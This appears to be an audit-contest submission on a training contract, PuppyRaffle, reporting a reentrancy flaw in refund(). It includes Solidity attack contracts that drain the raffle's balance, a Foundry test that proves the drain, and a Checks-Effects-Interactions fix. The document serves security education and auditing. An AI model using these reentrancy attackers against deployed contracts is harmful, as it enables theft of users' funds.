Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy attack in `PuppyRaffle::refund` allows an attacker to drain the contract funds

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

    A player is allowed to enter the raffle and is allowed to get a refund after calling the refund function


  • Explain the specific issue or problem in one or more sentences

    The function sends the refund before updating the player or resetting the player therefore could allow

    player or malicious contract to enter the raffle with receive/fallback function that calls the refund function

    that could call the refund function multiple times draining the contract's balance.


// Root cause in the codebase with @> marks to highlight the relevant section
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Occurs when a user withdraws funds using a contract

  • Happens whenever the recipient has a fallback/receive function that reenters

Impact:

  • All fees paid by entrants can be withdrawn by the attacker repeatedly

  • Entire fees can be drained

Proof of Concept

  1. Attacker deploys a malicious contract with a fallback function.

  2. Attacker enters the raffle via the malicious contract.

  3. Attacker calls refund() from their contract.

  4. During the ETH transfer, the fallback function is triggered.

  5. The fallback reenters refund() BEFORE players[playerIndex] is reset.

  6. This repeats until the contract balance is drained.

contract ReentrancyAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackerIndex;
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
entranceFee = puppyRaffle.entranceFee();
}
function attack() external payable {
address[] memory players = new address[]();
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerIndex);
}
fallback() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
}
function testReentrance() public playersEntered {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(puppyRaffle));
vm.deal(address(attacker), 1e18);
uint256 startingAttackerBalance = address(attacker).balance;
uint256 startingContractBalance = address(puppyRaffle).balance;
attacker.attack();
uint256 endingAttackerBalance = address(attacker).balance;
uint256 endingContractBalance = address(puppyRaffle).balance;
assertEq(endingAttackerBalance, startingAttackerBalance + startingContractBalance);
assertEq(endingContractBalance, 0);
}

Recommended Mitigation

Follow the Checks-Effects-Interactions pattern by updating state before making external calls.

This prevents reentrancy because the attacker’s state is cleared before control is transferred.

Additionally, emitting events before external calls ensures consistent logging even if execution is interrupted.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "PuppyRaffle: Failed to refund player");
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "PuppyRaffle: Failed to refund player");
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 10 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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